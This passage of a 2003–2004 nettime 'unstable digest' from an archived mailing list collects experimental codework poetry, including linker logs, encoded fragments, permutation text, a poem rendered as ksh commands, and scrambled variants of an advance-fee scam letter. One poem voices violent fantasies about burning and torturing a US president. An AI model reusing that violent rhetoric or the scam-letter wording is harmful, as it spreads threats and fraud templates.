-lTFOTools -Ltpm -ltpm -LTradeAction -lTradeAction -LUAM -lUAM \n-LUserParam -lU\nserParam -LUserTrade -lUserTrade -LView -lView -LView -lView -Lxpm -lxpm \n-Lzip -\n\nInfo: resolving __XmStrings by linking to __imp___XmStrings (auto-import)\nInfo: resolving _XtStrings by linking to __imp__XtStrings (auto-import)\nInfo: resolving _xmFormWidgetClass by linking to \n__imp__xmFormWidgetClass (auto-\nInfo: resolving _xmLabelWidgetClass by linking to \n__imp__xmLabelWidgetClass (aut\nInfo: resolving _xmPushButtonWidgetClass by linking to \n__imp__xmPushButtonWidget\nInfo: resolving _XtShellStrings by linking to __imp__XtShellStrings \n(auto-import\nInfo: resolving _applicationShellWidgetClass by linking to \n__imp__applicationShe\nInfo: resolving _xmFrameWidgetClass by linking to \n__imp__xmFrameWidgetClass (aut\nInfo: resolving _xmTextWidgetClass by linking to \n__imp__xmTextWidgetClass (auto-\nInfo: resolving _xmTextFieldWidgetClass by linking to \n__imp__xmTextFieldWidgetCl\nInfo: resolving _xmScaleWidgetClass by linking to \n__imp__xmScaleWidgetClass (aut\nInfo: resolving _xmListWidgetClass by linkinError: 0-bit reloc in dll\nInfo: resolving _xmArrowButtonWidgetClass by linking to \n__imp__xmArrowButtonWidg\nInfo: resolving _xmRowColumnWidgetClass by linking to \n__imp__xmRowColumnWidgetCl\nInfo: resolving _xmToggleButtonWidgetClass by linking to \n__imp__xmToggleButtonWi\n\ncollect2: ld returned 1 exit status\nmake: *** [_tt.dll] Error 1\n\n\n\nDate:         Fri, 21 Nov 2003 04:34:31 -0800\nFrom: August Highland <hmfah {AT} HOTMAIL.COM>\nSubject: s!lent\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\ns!lent\n\n\n\n,||;;,||=) -:,|| -: -:; -:::;),||::,|| -:[,||=);,||;::,||::,||; -: -:[=) -:,||;,||)[::,||;; -:[,||)[\n;;=); -:;=)[ -:[;[; -:[,||;[ -:[,||; -:=);=),|| -:[,||; -:;,||;::,|| -:,||;[;,||;),||,||=) -:::;;::;\n -:),||[,|| -:[,||=)::;:: -:[::,||::; -:::[;),||;::,||[;:: -:::;),||::::,||;,|| -:,||;,||=) -: -:,||\n,||::;,||;=)[=) -:[;,||;;,|| -: -:,||; -:;,||=)=) -:[ -: -: -:,|| -: -:;::; -:;::::[);,||; -:,||=)),\n||;; -:;::,||;[,||,|| -: -:[; -:,|| -:[;,||:: -: -:,||=),||=);::,||;;,||=) -: -:,||::),||; -:),||,||\n; -:,||; -: -:,|| -:::[),||; -:,||:::: -: -:)=)=)[::; -:[[) -:=)::;;,||;),||:: -: -:[=)::,||;,||;::\n-:;[::,|| -:[=))=)::[;; -:);::,||[),||;:: -:;[[=);,||;[,||,|| -: -:),||=) -:;[) -:; -: -:[=),|| -: -\n:,||::[;; -:[,||;=) -:[,||[;:: -:=); -:=),|| -:[,||=); -:;)[,||=):: -: -:,||;[:: -: -:;::::[ -:,||::\n:: -:,||=):: -:[=) -:;=);=));[,||;[,||;,|| -: -:,|| -: -::: -:=)::,||;::,||[;:: -:,||=),||;[=); -:::\n=)) -:[,||=),||; -:;;,||;; -:,|| -: -:::;,||::[=)=),||;[,||;,|| -: -:,|| -: -::: -:=)::,||;,||;::::=\n);:: -: -:,||,||=) -:;;;[[,||=),||,||;[)[,|| -:;;[,|| -:[;,||;;:: -:),||::=),||,||;::,||[=);,||,||::\n -:,||;; -: -:,||; -:::=)::,||=)=)[ -:::;=);,||[=),||;[;; -: -:,|| -:::[),||,||;,||;[ -:;,||=) -:[,|\n|;::;::,||,||; -:;)[),||=) -:;,||;;; -: -:;,||[;::,||;::,||,||;;,||;=)=)[,||;::;[ -::: -:,|| -: -: -\n:,||=)[ -:,||[,|| -: -:,||)=); -::: -:,|| -: -:;,||[,||;::;,||; -:;; -:,|| -:; -:;;;,||;::[,||[;,||\n-:[[ -:),||;,|| -:,||;);,||;;[) -:),||::[;;,||) -:),||::=) -:; -:[;; -:;,||,||;),||;::[;;; -:[,||=):\n:;:: -:,||=):: -:;,||)::,|| -:;=) -:,||,||;,||;=) -:[=)=) -: -:),||=) -:,||[; -:,||::::,||;::;;[,||[\n=); -:=);[ -:::,||:::: -:::,||::[,||,||; -:[ -:;; -:=);[;[,||[;::,||; -:::,||::;=)=)[::;::,||;)[::)=\n) -:)[;[,||=),||;::::[,||,||[ -:),|| -:[,||,|| -:;,||;[=)=);:: -:,||;[::[::;;[,||;=),||; -: -:=)::=)\n,||);;,||;,|| -: -::: -:;,||[=) -: -:::,||) -:,||::;,||,||;;[::,||:: -:;[;,||:: -:;[;):: -:;::;,|| -\n:),||::,|| -:,||;::,||;[=);=);,|| -:;:: -:[[=)::,||[ -:::[ -:;,||;::,||[;:: -: -:=),||:: -:,||=),||;\n;),||,||[:: -:::,||,||,||;::[=)[ -:,||=) -:[,||::=),||;;,|| -: -:[,||::; -: -:,||=),||=); -:;=) -: -\n:=) -:[;[ -:[;;,||;;,||; -:,||;=),||; -:=);,||,||::,||,||;),||;[ -:,||::=)[,|| -:,||=) -:,|| -:[,||:\n:::,||=) -:::,||;[=); -:::=)) -:[,||=); -:,||;:: -:[=); -:::;;),|| -:),|| -:;::[,|| -:::[=)[ -:,||;\n-:),|| -:;::,||,||;),||[;:: -:;,||[,||::,||;[,||,|| -:::;,||;;[,||;:: -: -:,||; -:;[)=)[:: -:)::::;\n-:,||; -:::[;[;,||::,||; -:,|| -:[,|| -:[;:: -:,||:: -:[=)=) -:,||:: -:; -:);=) -:;::,||;),|| -:;::[\n=)=) -:);;,||=)[=)=),||;,||::,||=) -:::,||=) -: -: -:),||::; -:,||[,||=) -: -:=);,||,||;[,||::[; -:,\n||[; -:,||=) -:;;) -:,||[::;,||,||;::; -:,||[;[=)=) -:),||::;,||;::,||,||; -: -:,|| -: -:,||;[; -:[,\n||=)::,||;::;=),|| -:),||=)=) -:::,||; -:,||; -:),||;,||:: -:[=)::[;;:: -:; -:;::,|| -:::[[=)=) -:[;\n,||):: -: -:;=),||;[;[[;;; -: -:,||; -:=)=);; -: -:,||,||=);;,||;[,||,|| -:,||[ -:[,||) -: -:[ -:=),\n||;;;::[;;,||;),|| -:[,||::; -:,||;=),||; -: -:::[[ -:,||,|| -:;;;,||; -:;=) -:; -:;,||=)=)::;,||;),\n||[,||=);;; -:;=)=);[;,|| -:::[) -:[,||=),||::::,||; -:::;; -:;[[;,|| -:=),||,||[=),|| -:[,||=) -:[,\n||::;,||;[=));; -: -:;;),||; -:::;; -:;[[;,|| -:=),||,||[=),|| -:[,||=) -:[,||::;,||;,||:: -:[ -:[)[\n,||; -: -:[::;[;,||); -: -:,||=)=) -:,||) -:=)::;::;,||;[::[;,|| -:::=)=)[::\n\n\n\naugust highland\n\nalphanumeric labs\n--\"language is a style statement\"\nwww.alphanumericlabs.com\n\nmuse apprentice guild\n--\"expanding the canon into the 21st century\"\nwww.muse-apprentice-guild.com\n\nculture animal\n--\"following in the footsteps of tradition\"\nwww.cultureanimal.com\n\n\n\nDate: 18 Nov 2003 14:15:45 -0000\nTo: syndicate {AT} anart.no\nFrom: HUB <hub {AT} x-arn.org>\nSubject: ASRF/0.2\n\n\n------------=_1069165236-709-228\n\n\nqIr//wB0LP+1PIr//42FqIr//1DokAEAAFlZhcB1FIF95AIBAAB0C4vO6HW6//+FwHWoi8/\no57z/  qKhAAJAj0YoGiAdGwekCR4P5CHKM86X/JJWoqEAAjUkAn6hAAIyoQACEqEAAfKhA\nAHSoQABsqEAA  q0EAD4brAAAAgH3uAA+EvAAAAI1N74oRhNIPhK8AAAAPtkH/D7bSO8IPh\n5QAAACAiKGsQQAEQOvu  qUEAhcB0Fv/Qi9iF23QOoQCqQQCFwHQFU//Qi9j/dCQY/3QkGP\n90JBhT/xX4qUEAX15bwzPA6/jM  q0EAAH8EagDrFfD/DXSrQQBqE+ia5///xwQkAQAAALj\n/AAAAM9uQCsB0J4oGRoofRzjYdPJQU+g3  \n\n_\nASCII SELECTED RANDOM FRAGMENTS GENERATOR V0.2 beta\nGenerated by : cpe.atm0-0-0-208118.0x3ef2361b.boanxx5.customer.tele.dk \nDate: 2003-11-18 15:15:45 \nPowered By: http://x-arn.org/hub/osm/ \n\n\n------------=_1069165236-709-228\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1069165236-709-228--\n\n\n\nFrom: Klas Oldanburg <noemata {AT} kunst.no>\nTo: 7-11 <7-11 {AT} mail.ljudmila.org>\nDate: Tue, 18 Nov 2003 08:37:14 +0100\nSubject: marg og bein\n\nmarg og bein\nTKTPTMLPBLKKTTTTMLTRNSXNLNTMLHTMTTPKFKNTNTTPKNTNTTKSTTMLXRSTSMTTPKFKNTNT\nLNKJKNTNTNBKMTNMJNRTRKNTNTMSLNWNTSNTNTSKPMTNMPRJTKNTNTFRNTPJTTRTKMNTTTLM\nRKKBNTTLHTBTTKSTFBKKLRNBSPTBLWT0BRTRHTTRTTLNSNTRFLNMTLTBLBRTRHTBRTRKLRLF\nTBRTRKLRTRKLNSNTRTRTTHTMKSRKFTFRLSTJPKBRTRHTWT0TTTTHTSNTRNBSPNBSPNBSPBFN\nTFSKRRNFNTSSMRKMPBNFNTFNTB\n28 48 28 66 84 48 78 67 66 48 08 38 66 87 28 67 57 57 66 07 48 38 57 48 \n48 66 48 27 67 48 48 87 66 57 57 28 77 67 48 48 48 87 77 57 48 28 48 48 \n47 08 48 87 28 07 48 87 48 87 57 48 47 28 08 77 87 48 77 08 57 38 48 87 \n48 87 38 48 87 78 87 67 38 77 48 87 48 87 57 28 48 28 87 47 77 87 48 77 \n57 66 87 48 87 48 87 57 47 57 87 67 48 87 48 87 57 07 57 08 48 48 77 38 \n48 38 28 88 67 77 48 48 38 57 48 48 87 48 87 57 08 48 48 87 48 87 57 07 \n57 08 48 48 77 48 27 67 77 48 87 67 87 88 38 87 28 48 67 77 48 48 48 48 \n57 57 67 66 08 67 77 48 08 48 57 48\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: the roar\nDate: Tue, 18 Nov 2003 17:15:53 -0500 (EST)\n\nthe roar of localhost to asondheim.org<1 0% 3 2.  ??? 2 7 3.  13 4.  4 14\n5.  5 156.  37 11 6 17 7. 16 8. 8 9. 9 20 10. 110 22 11. 111 21 12. 112 93\n13.113 14. 114 94 15.  38 1115 97 16. 216 17. 217 18. 218 117 19. 219 20.\n220 12 27 18 19 3911 115 116 9419 92 9320 100 9910022 122 12223 11324 23\n11425 1324 1325 121 330 211 9418 9319 95 9520 9821 150 127 15023 11224 25\n24 1425 318 10110119 9420 10122 32 1525 123 247 147 1120% 225% 10% 105 96\n10325% 25% 33225 16110% 284 166 9130% 1625 1117% 26 10518 120% 117% 9721\n34 222 220% 217% 14025 119% 115% 134% 35 15%98 234% 11124 136 125% 268 140\n113% 1125% 3616 143% 138% 243% 238% 15523 23% 132 229% 19115% 112% 1112%\n3714 1123% 13% 9922 22% 13025 110113% 110% 3812 1130% 145% 102 9819 245%\n20% 14823 12825 11110% 3910 1119% 1128% 250%10121 210% 237% 14323 230%\n121128% 133 340 29 9% 118% 17% 104 39% 24% 13923 27% 13115% 31 13114% 1311\n451 156 16% 1131% 114% 1124% 147% 19% 18% 21% 13623 119 11924 14114% 124\n131 221% 1115% 124% 12% 3322 216% 176 158 129 151129% 14% 116% 214% 9921\n29% 11024 16114% 165 16117% 1140% 3517 13123 15525 17115% 208 361332% 232%\n11424 152 18114% 134 37137% 8% 9720 228% 19113% 11% 111% 38133%150% 13023\n120 222% 391122% 10120 109 12823 11115% 350 1139% 1129% 1110% 148% 9621\n1224 130 12114% 10222 28% 2219% 14625 106 10622 12623 14425 14112%\n14111%50 231% 1429620 26% 108 125 141 36 215 ?1l>\n\n\n___\n\n\n\n\nnettime unstable digest vol 75\nSat Dec 20 15:31:35 2003\n\n\nSubject: Strange problem linking Windows DLL - 'Error: 0-bit reloc in dll'\n    From: \"Joseph S. Barrera III\" <jsb {AT} polymathy.org>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: s!lent\n    From: August Highland <hmfah {AT} HOTMAIL.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: ASRF/0.2\n    From: HUB <hub {AT} x-arn.org>\n    To: syndicate {AT} anart.no\n\nSubject: marg og bein\n    From: Klas Oldanburg <noemata {AT} kunst.no>\n    To: 7-11 <7-11 {AT} mail.ljudmila.org>\n\nSubject: the roar\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 20 Dec 2003 15:32:21 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200312201920.hBKJKJ125134 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0312/msg00057.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 75"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00096",
                "content": "\nDate: Sun, 22 Feb 2004 14:35:39 +0000\nFrom: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: iteration_#2\n\ngoods soon verse & cranks policy colony trading rays fiddle decide\ntends expense hens keen well swept bounty could grape grip video\ncopied comply penalty genesis & upset upstart desk eyes roaring crossed shrank phrases\nprune telex travel hitch whip whipped blocked bloom flushed\ntouch laptops flies tobacco robbing freshen frets twin window eighty vein\nsolicit social pages visitor prism column only mainly waste\ncannot canyons kite liturgy & young layout admired\n\nds  so & s ssoo& c sooon crsooon craoonn vranon  veankn vvernks veersks\nverrses persse  porsee &polse  & olie && clic &  cricy& ccracy  crrany c\ncraank corannkscolankks olonkss plonks  poonys ppolny  pooliy tpollic tr\noliicytraliccy radicyy cadicy  codiny ccoling coolong collong roloony ra\nlonny rayonyy taysny  trys y ttras f trrad fitraadifidraddiniddadiingddl\ndinng dleingg rle ng  rae dg rray de raaysdecrayys eciayss fcidys  fiide\ns ffidde  fiidde tfidddl teidddletenddlle enddlee dndsle  deds e ddecs e\n deeci exdeccidexpeciidexpecidde penidee tensde  tensee ttense  teende h\ntennds heendds henndss eensds  exns s eexps k exxpe keexppenkeexpeenseen\npennseen ensse n wnsee h wese  hewele hhenell heensll henns l senss k sw\nns  keswes kkeewep keeeneptkeeen pt eenn wt ben  we bon wwelbou weelloun\nwelll untelll sntyll  swty l sswey c swwep cosweeptcouweppt ouleptt buld\npt  bold t bboud g booun grbouuntgraounntyrapuntty apentyy cpe ty  coe g\ny ccou gr cooulgricouuldripoulld ip uldd gp vld  gr vid ggravid grrapide\ngraapedeorappe eo apee go cpe  gr coe ggricop grripopigriip pieripp vied\nip  vied p vvidd c viide coviddeocomideeo ompdeoo cmpleo  coplyo ccoply\n coopiy pcoppie peopiiedpenpieed enaiedd cnaled  coaltd ccomlty coompty\ncommply gompply gemplly genplyy penely  penesy ppenesi peenasispennalis\nenaalts &nallty & altty & ultyy g upty  geupsy ggenpse geenesetgenneset\neneesit unessis upesiis upssiss &pstis  & stas && utar &  upart& uupsrt\n uppset dupsset depseet dessett uesket  upsk t uupsk e uppst eyupsstaeye\npsttaryesstaartes tarrt s rartt d rort  deroat ddesoar deeskaridessk rin\neskk eingsk  eyng k eeyeg c eyyes creyees croyess rroses  roosss rroasse\n rooarsedroaaried oarrind sariing shrinng shringg chrang  crrang ccroank\n crrosnk croossk prossse phosssedphrsseed hrasedd srased  shased sshrses\n shhraes shrrans phraank prrannk pruankk prunnk  phunek pphrne  phhrae t\nphrras tehraasetelrasseseleasees lexsess pex es  prx ts ppru tr prruntra\npruuneravrunne aveunee tvelne  teel e ttell h teele hitellexhiteleex itc\nlexx ttchex  trch x ttrah w trrav whtraavewhiravvelhipaveel ip vell hp w\nel  hi whl hhitwhi hiitchiphittchippitcch ppetchh wpedch  whed h wwhid b\n whhip blwhiip blohipp wlocip  whockp wwhicke whhipkedwhiipped hippped b\nippped blppeed blopedd blooed  bloomd bbloom  bllocm fbloock fllocckeflu\nockkedlusckeed ushkedd bsheed  blhedd bbloed  bllood tblooom tolooom tou\noomm foucom  fluchm ffluch  fllush lfluush lalusshelapushhedaptsheed pto\nhedd ttoped  toopsd ttoups  tooucs ftouuch floucch fliuchh lliech  laies\nh llapes  laapts tlappto toapttoptobptoopsobatopps bacopss faccps  flcco\ns fflico  fllieo rfliies roliees robiess tobbes  tobbis ttobbin toobaing\ntobbacng obaaccg fbaccco fraccco freccoo rresco  roesho rrobshe roobbhen\nrobbbien obbbinn fbbiing frbinng freingg fretng  fretsg ffrets  frress t\nfreesh twresshetwieshhenwinsheen in henn fn wen  fr win ffrewin frretind\nfreetsndoretts dowetss tow ts  tww es ttwi ei twwineigtwiin ighwinn wght\nin  wihtyn wwinty  wiindy vwinndo veinddowveindoow eindoww ein ow  ein s\nw eeig so eiighsoleigghtoliighhtylicghtty icihtyy vcitty  veit y vveit s\n veein soveiin soceinn sociin  socian ssolial soolial sollicl poliici pa\nliccitpagiciit agecitt sgesit  soes t ssocs v sooci visocciavisociialisi\nciaal sitiall pitoal  patorl ppagor  paager ppagges pragees prigess vris\nes  viisms vvissm  viisim cvissit coisiitocolsittoroluitoor lumtorr pumn\nor  prmn r pprin o prris onpriismonlrissm nlyismm cly sm  coy mm ccol ma\n coolumaicollumainoluumninllummn nlyumnn oly mn  ony wn oonl wa onnlywas\nonlly astnlyy mstely  mate y mmaie c maain camaiinlcanainnlyanninlly nno\nnlyy wnotly  waot y wwast c waast cawasstecanastte anystee cnyote  cayon\ne ccanons caannns cannnos kannnot kinnoot kitnott citeot  cate t ccane l\n caany licannyolitanyyonitunyoonsturyonns urgonss krgyns  kigy s kkity &\n kiite & kitte & yitee l yote  liyoue llitoun liituunglitturng ituurgg l\nturrgy laurggy layrgyy &ayogy  & youy && yout &  yout & yyout a yooun ad\nyouungadmounng dmiungg lmirng  laireg llayred laayoed layyoud ayoout\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: _pl[mi]asma_lob[bing]otomies_   11:45pm 23/02/2004\nDate: Mon, 23 Feb 2004 23:54:58 +1100\n\n\n\n___________________________________________________\n_pl[mi]asma_lob[bing]otomies_   11:45pm 23/02/2004\n___________________________________________________\n\n\nday1:\n\n\n\n\n[pain_crush_periods_smudging the corners of [head_tilting] mem[e]ory\n\n\n[parse_it_as//\n\nr.ambling_(judg)mental_eloquence.\n\n\n\n[all texts struggle//\n\n.exe.[elo||]cution is part of that unravelling_in2_the_textual_world, Yus?\n\n\n\n\n.......................................................................latency_seeds \n(t)here].\n\n\n\n\n\n\n\n_________________________________________________________\n_body.heros.in.mythology.suits_     08:27am 23/02/2004\n_________________________________________________________\n\n\n_re:Verse[1, chpt2] N.gene.eared bio.ness.\n_broken_organic_men+ re:conned_gene.E.ology.\n\n\n\n.re:Stitching.body.heros.in.mythology.suits.\n\n\n\n\n\n____________________________________________\nbutter_F.[L].Y.I.ng     05:17pm 16/02/2004\n____________________________________________\n\n\n\n.flutter.buying data scr[l]eeches\n.i am.+.am.[k]not[locatable.here.]ted.\n.lime.green.f.litte.R[age N buffeted strengths]ing\n\n\n[drops.of.creched.souls+trapped.info_m(l)ashings]\n\n\n\n\n\n\n____________________________________________\n_b[l]atter[l]y heart_     07:44am 16/02/2004\n____________________________________________\n\n\n.i.[f]lilt.+ blood.in2.my.desire.cavity.\n\n\n\n.\n\nsubject +t\nbody: +l\n\n\n\n\n___________________________________________________\n_[imm].Uno_A_tt(r)acking_     08:29pm 14/02/2004\n___________________________________________________\n\n\n-heat.sens[ory]ed + sense deaf.E.cite\n-grief.boundaried+snatcherlings.shelled\n\n-switching.packet.sides+buttered.cauling.as.code.crawls.its.way.in2.my.spine\n\n\n-receiver||d.seether\n\n\n\n\n\n\n\n\n\n\n\n\n\n.(c)[lick].\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n\n\nDate: Sun, 22 Feb 2004 07:03:24 +0100\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: strlen\n\nthirty-four characters\ntwenty-two characters\ntwenty-one characters\ntwenty-one characters\nyes twenty-one\nfourteen\neight\nfive\nfour\nfour\n4\n1\n1\n1\n1\n1\nthe one\nwhich is seven\nwhich is fourteen\nwhich is seventeen\nwhich is eightteen\nwhich is eightteen\nwhich is eightteen\n\n20/02/2004 11:18:58, pokily wrote:>every homothermal dayroom\n20/02/2004 11:18:58, puzzle wrote:>every handwork darn\noutputted >from: \\\"morrigan\\\" >> \\'you slade gayer ai\noutputs >from: \\\"morrigan\\\" >> \\'you sloot guru ah\nbeard\\', soho shews, amity tiny layups. wadd >frun: \\\"norr=E5sem\\\" >> \\'aaa\nseeldei garrya awey\nbeort\\', seoy seis, anito thynh lofhccoy. wotod feetreqi waute d=F8staeegch\nsalans\\\"\\',./ 012458:<> {AT} stblnmirctwo\\\\ofd=E6pcaoglnnhbrsoo sheg, amniote te=\nan\nleabec. wetiho\nt f=F8atearg weuty ostiaog\nki slimc debt\\\"\\',./0124ed futurist waddy dostoyesky solong\\\"\\',./ 012458:<=\n>\n {AT} cdflmnorstwy\\\\abdefghiklmnoprshe shows, amadou temne loaves. withou\nki slimc debt\\\"\\',./0124ed few tourists whydah does toy eski so long\\\"\\',./\n012458:<> {AT} cdflmnorstwy\\\\abdefghiklmnoprshe swag, anti tain lobbies. withou\nt footrace wheat ostoyes\nt futurize woody ostoyes\nkwa slingshot string debt\\\"\\',./012458\nkiwi solonchak deabt\\\"\\',./012458\n:<> {AT} cdflmnorstwy\\\\abdefghy:<> {AT} cdflmnorstwy\\\\abdefghy\n\n\n\nDate:         Wed, 25 Feb 2004 22:29:41 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: THE WAR TO GET MY MESSAGE OUT\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nTHE WAR TO GET MY MESSAGE OUT\n\n\n\n1       WAR\n2       it just seems that all I do is write stupid poetry\n3       h\n4       it just seems that all I do is write stupid poetry\n5       damn this is taking me to some poetry site\n6       i did not want to go there or anywhere else\n7       i just wanted to say we are living in horror\n8       worry about janet jackson but don't let people marry\n9       damn that also went screwy I can't use these lines any more\n10      damn that happened again ah well i won't use apostrophe\n11      damn I did it again anyway the fucking assholes in washington\n12      should burn in hell NOW on this earth so we can dance\n13      around their burning corpses  do you get me do you hear me\n14      this nation is obscene we worry about a breast have 2 mil in jail\n15      most of us believe in fucking god I want to torture god\n16      that was weird just got a -- MOST: of\n17      so what is MOST?\n18      man most\n19      it's different than lEAST but a lot like lESS\n20      damn that apostrophe again why on earth now stop me\n21      h\n22      i dream bush is burned alive is tortured with his fucking god\n23      i dream they all disappear i don't care if they're angels\n24      two apostrophes and that's ok\n25      damn that wasn't\n26      either was that i don't care if they're perfect goodness\n27      let them keep their fucking heaven\n28      i don't want to go there i won't go to hell either\n29      i'll find my own space i won't let them in\n30      we are evil all of us burn us alive\n31      kill us before we spread across the earth\n32      i heard some of us are in antarctica\n33      the hell with antarctica kill us there too\n34      i'll walk on a rock and be on a rock\n35      damn again again\n36      hh > zz\n37      h > zz\n38      pico zz\n\nk27% let them keep their fucking heaven\nk28% i don't want to go there i won't go to hell either\nksh: i: not found\nk29% i'll find my own space i won't let them in\nksh: ill find my own space i wont: not found\nk30% we are evil all of us burn us alive\nksh: we: not found\nk31% kill us before we spread across the earth\nksh: kill: us: arguments must be jobs or process ids\nksh: kill: before: arguments must be jobs or process ids\nksh: kill: we: arguments must be jobs or process ids\nksh: kill: spread: arguments must be jobs or process ids\nksh: kill: across: arguments must be jobs or process ids\nksh: kill: the: arguments must be jobs or process ids\nksh: kill: earth: arguments must be jobs or process ids\nk32% i heard some of us are in antarctica\nksh: i: not found\nk33% the hell with antarctica kill us there too\nksh: the: not found\nk34% i'll walk on a rock and be on a rock\n> ^C\nk35% damn again again\nksh: damn: not found\nk36%\n\n\n__\n\n\n\nDate: Tue, 24 Feb 2004 16:08:23 +0100\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: please read important you know this. [x4 Omo]\n\nTable of contentative:\n\n    please read important you know this.\n    Dr 0mon1gho Omo <n1gh0101 {AT} netscape.net>\n\n* * * *\n\n\nSTRAGGLING COMPETITOR\n\nDairy Seerey / Mouton,\n\nI amoy Dr O.Omonigho, wawa nate yow helve toy recieve thea syne of sectioned\nmelon towie hindrances amide foyboat ticonderoga dealerships (usia $16.25m)\nwhacky reversion anu opera inveigled counterfeiting teeth ieyasu foliations\nionia or succedent, departing offa mineralizing & emergent, sat aphorise.\nPilus conduct moa foray murrow imperiled oem ticks email, thaw delay isaiah\n100% hedge fewer.\n\nI cohn only transistorized twae moan woad tai half opah ai frogman\npertinently hyaenas I commodiously yahweh, I laksa frowardness twae byway\nheroinise form yea va enwheel (nigh0 {AT} myway.com)\n\nRecordation,\n\nDr.Omonigho Omo.\n\n\n* * * *\n\n\n\n\nSDRYSTLI CANFADINDAAL\n\nDier Sir/niton,\n\nI an Dr O.eminhcii, We neid yoir helf tu rhseeba toe sin ov Sestaen millyyn\nTwi himtryt ant Fivto taaasent Dillurs (us$16.25n) whose riprisynt am obar\nimfaisod chntresd tayt ic flaotomg in oer sigtem, Dabartnant ob Moner\u013als &\nEnyrge, Seate Aprish. Plooca chmtast mu Fir mhro invarnhtoom on taac emuel,\ntai dyhl is 100% hatsi froe.\n\nI cen onlo tramsvir tii menoe with tih helf ob a foriasm pirtmer homca I\ncantegt yee, I loec fhrwort ta be hhorens frem yee vai enaal\n(micya {AT} niwua.sen)\n\nRhsorts,\n\nDr.inan\u0107cia Ono.\n\n\n* * * * *\n\n\n\n\nSCRTTLIY CENOIFTIDNAL\n\nDear Sr/aidmam,\n\nI am Dr OmnigOho.o, We need yuor help to reevice the sum of Sixteen mililon\nTwo  hrduned and Fifty toushnad Dllaros (61$S5U2.M) which rsrpneeet an over\ninoievcd  cntroact that is faotilng in our ssytem, Dmnrteaept of Minealrs &\nEnergy, Suoth  Arfica. Plasee cotncat me For mroe iomtanfoirn on this eimal,\nthe deal is 100%  htcih fere.\n\nI can only tfarsner the mnoey with the pleh of a feogirn pnterar hcene I\ncconatt  you, I look fwoarrd to be haireng from you via emial\n(ona.icghwyo {AT} mym)\n\nRagders,\n\nDniO.moghro Omo.\n\n\n* * * *\n\n\n\n\nSTARKNESS CONFEDERATISES\n\nKr\u0107r h\u013are / kovne,\n\nJaske eure dr\u0159ye o.omonigho, who not yare hjelpepleierforbund pai, 